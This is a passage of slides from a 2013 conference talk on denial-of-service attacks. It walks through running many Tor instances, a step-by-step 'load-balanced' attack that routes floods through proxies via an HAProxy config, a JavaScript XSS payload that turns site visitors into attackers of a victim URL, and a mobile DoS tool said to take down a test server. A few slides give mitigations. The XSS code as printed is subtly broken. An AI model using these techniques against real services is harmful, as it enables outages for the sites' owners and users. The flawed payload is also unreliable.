  • 68. Proxies and Layer 7 attacks Bônus: Multi-TOR The TOR client supports spawning as many instances and opening as many circuits as necessary. tor ­­RunAsDaemon 1 ­­CookieAuthentication 0  ­­HashedControlPassword "pwd" ­­ControlPort 4444  ­­PidFile torN.pid ­­SocksPort 5090 ­­DataDirectory  data/torN Tool: Multi-TOR https://github.com/jseidl/Multi-TOR/ EX: ./multi-tor.sh 5 # Opens 5 TOR instances Super Effective Denial-of-Service Attacks. SEIDL, Jan Super Effective Denial-of-Service Attacks. SEIDL, Jan Latinoware/2013 – Foz do Iguaçú, Brazil Latinoware/2013 – Foz do Iguaçú, Brazil
  • 69. Proxies and Layer 7 attacks Mitigating TOR with TORBlock Blocking TOR-sourced access TORBlock: IPTables-based blocking Tool: https://github.com/jseidl/torblock Super Effective Denial-of-Service Attacks. SEIDL, Jan Super Effective Denial-of-Service Attacks. SEIDL, Jan Latinoware/2013 – Foz do Iguaçú, Brazil Latinoware/2013 – Foz do Iguaçú, Brazil
  • 70. Load Balancing Attacks Meet Jericho Super Effective Denial-of-Service Attacks. SEIDL, Jan Super Effective Denial-of-Service Attacks. SEIDL, Jan Latinoware/2013 – Foz do Iguaçú, Brazil Latinoware/2013 – Foz do Iguaçú, Brazil
  • 71. Load Balancing Attacks Starring: HAProxy “The Reliable, High Performance TCP/HTTP Load Balancer” REQUEST → HAPROXY → { SERVER A, SERVER B, SERVER C } Super Effective Denial-of-Service Attacks. SEIDL, Jan Super Effective Denial-of-Service Attacks. SEIDL, Jan Latinoware/2013 – Foz do Iguaçú, Brazil Latinoware/2013 – Foz do Iguaçú, Brazil
  • 72. Load Balancing Attacks 'Load-balanced' attacks anatomy Attacker: 1. Open lots of socat tunnels to the victim, each one from a different proxy (regular, TOR or both) 2. Put local port addresses (socat'ed ones) on HAProxy 3. Place victim's domain on /etc/hosts 4. Attack normally from your favorite tool Super Effective Denial-of-Service Attacks. SEIDL, Jan Super Effective Denial-of-Service Attacks. SEIDL, Jan Latinoware/2013 – Foz do Iguaçú, Brazil Latinoware/2013 – Foz do Iguaçú, Brazil
  • 73. Load Balancing Attacks 'Load-balanced' attacks anatomy listen ddos 0.0.0.0:80 mode tcp balance roundrobin server inst1 localhost:8080 server inst2 localhost:8081 server inst3 localhost:8082 server inst4 localhost:8083 … Super Effective Denial-of-Service Attacks. SEIDL, Jan Super Effective Denial-of-Service Attacks. SEIDL, Jan Latinoware/2013 – Foz do Iguaçú, Brazil Latinoware/2013 – Foz do Iguaçú, Brazil
  • 74. Load Balancing Attacks 'Load-balanced' attacks anatomy Super Effective Denial-of-Service Attacks. SEIDL, Jan Super Effective Denial-of-Service Attacks. SEIDL, Jan Latinoware/2013 – Foz do Iguaçú, Brazil Latinoware/2013 – Foz do Iguaçú, Brazil
  • 75. Load Balancing Attacks 'Load-balanced' attacks anatomy Proxy 1 Proxy 2 Attacker HAProxy Proxy 3 Proxy 4 Victim Proxy 5 Proxy 6 Proxy 7 Super Effective Denial-of-Service Attacks. SEIDL, Jan Super Effective Denial-of-Service Attacks. SEIDL, Jan Latinoware/2013 – Foz do Iguaçú, Brazil Latinoware/2013 – Foz do Iguaçú, Brazil
  • 76. Load Balancing Attacks 'Load-balanced' attacks anatomy Super Effective Denial-of-Service Attacks. SEIDL, Jan Super Effective Denial-of-Service Attacks. SEIDL, Jan Latinoware/2013 – Foz do Iguaçú, Brazil Latinoware/2013 – Foz do Iguaçú, Brazil
  • 77. Load Balancing Attacks Dangers of 'load-balanced' attacks? ● ● Bypass connection-limiting ● ● ● ● ● ● DoS → DDoS Mutiple origin IPs Origins can be from multiple countries Super Effective Denial-of-Service Attacks. SEIDL, Jan Super Effective Denial-of-Service Attacks. SEIDL, Jan Latinoware/2013 – Foz do Iguaçú, Brazil Latinoware/2013 – Foz do Iguaçú, Brazil
  • 78. Load Balancing Attacks Dangers of 'load-balanced' attacks? Super Effective Denial-of-Service Attacks. SEIDL, Jan Super Effective Denial-of-Service Attacks. SEIDL, Jan Latinoware/2013 – Foz do Iguaçú, Brazil Latinoware/2013 – Foz do Iguaçú, Brazil
  • 79. Load Balancing Attacks More about the Jericho Attack Technique http://www.slideshare.net/jseidl/slides-the-jerichoattackperspective Super Effective Denial-of-Service Attacks. SEIDL, Jan Super Effective Denial-of-Service Attacks. SEIDL, Jan Latinoware/2013 – Foz do Iguaçú, Brazil Latinoware/2013 – Foz do Iguaçú, Brazil
  • 80. XSS D/DoS What if an XSS flaw could turn your visitors into D/DoS clients? <script> function DDoS() { a = new Date() unixepoch = a.getTime() } elm = document.createElement("img") victimURL = "http://10.1.1.114/" elm.src = victimURL+"?"+unixepoch setInterval("DDoS()",1); </script> Super Effective Denial-of-Service Attacks. SEIDL, Jan Super Effective Denial-of-Service Attacks. SEIDL, Jan Latinoware/2013 – Foz do Iguaçú, Brazil Latinoware/2013 – Foz do Iguaçú, Brazil
  • 81. Mobile-launched Denial-of-Service PoC Tool: GoldenEye Mobile Super Effective Denial-of-Service Attacks. SEIDL, Jan Super Effective Denial-of-Service Attacks. SEIDL, Jan Latinoware/2013 – Foz do Iguaçú, Brazil Latinoware/2013 – Foz do Iguaçú, Brazil
  • 82. Mobile-launched Denial-of-Service Objective Test if mobile devices alone could conduct a successful DoS attack. Test if equipment and configurations are able to deter DoS attacks from mobile platforms. Super Effective Denial-of-Service Attacks. SEIDL, Jan Super Effective Denial-of-Service Attacks. SEIDL, Jan Latinoware/2013 – Foz do Iguaçú, Brazil Latinoware/2013 – Foz do Iguaçú, Brazil
  • 83. Mobile-launched Denial-of-Service Android: Limitations Max 128 threads (Android 2.1) Maximum number of concurrent sockets per thread: 30 (>30 too many open files) Can we get better results if device is 'rooted' (sysctl) ? Super Effective Denial-of-Service Attacks. SEIDL, Jan Super Effective Denial-of-Service Attacks. SEIDL, Jan Latinoware/2013 – Foz do Iguaçú, Brazil Latinoware/2013 – Foz do Iguaçú, Brazil
  • 84. Mobile-launched Denial-of-Service Firepower 5 min test on an Apache webserver, default configuration, in a Debian 6 virtual machine, also with default configuration. CPU Usage: u5.85 s4.52 cu0 cs0 ­ 2.37% CPU  load Low CPU fingerprint Server overloaded  (a.k.a. down) https://github.com/jseidl/GoldenEye-Mobile Super Effective Denial-of-Service Attacks. SEIDL, Jan Super Effective Denial-of-Service Attacks. SEIDL, Jan Latinoware/2013 – Foz do Iguaçú, Brazil Latinoware/2013 – Foz do Iguaçú, Brazil
  • 85. Mobile-launched Denial-of-Service GoldenEye Mobile: Mitigation GoldenEye Mobile uses HEAD method for maximum speed. Easily blocked (Module: Mod_Rewrite) RewriteEngine on RewriteCond %{THE_REQUEST} !^(GET|POST) /.* HTTP/1.1$  RewriteRule .* ­ [F] mod_security SecFilterSelective REQUEST_METHOD "!^(GET|POST)$" "deny,auditlog,status:405" Super Effective Denial-of-Service Attacks. SEIDL, Jan Super Effective Denial-of-Service Attacks. SEIDL, Jan Latinoware/2013 – Foz do Iguaçú, Brazil Latinoware/2013 – Foz do Iguaçú, Brazil
  • 86. Demo: DoS Fun GoldenEye Mobile DoS Android Tool Demo! http://bit.ly/GoldenEyeMDOS Super Effective Denial-of-Service Attacks. SEIDL, Jan Super Effective Denial-of-Service Attacks. SEIDL, Jan Latinoware/2013 – Foz do Iguaçú, Brazil Latinoware/2013 – Foz do Iguaçú, Brazil
  • 87. Questions? Super Effective Denial-of-Service Attacks. SEIDL, Jan Super Effective Denial-of-Service Attacks. SEIDL, Jan Latinoware/2013 – Foz do Iguaçú, Brazil Latinoware/2013 – Foz do Iguaçú, Brazil
  • 88. Thanks! – To Peace! Super Effective Denial-of-Service Attacks. SEIDL, Jan Super Effective Denial-of-Service Attacks. SEIDL, Jan Latinoware/2013 – Foz do Iguaçú, Brazil Latinoware/2013 – Foz do Iguaçú, Brazil
  • 89. Thanks! Thanks for your time! jseidl@wroot.org / http://wroot.org https://github.com/jseidl http://www.slideshare.net/jseidl @jseidl Super Effective Denial-of-Service Attacks. SEIDL, Jan Super Effective Denial-of-Service Attacks. SEIDL, Jan Latinoware/2013 – Foz do Iguaçú, Brazil Latinoware/2013 – Foz do Iguaçú, Brazil

Editor's Notes

  1. {}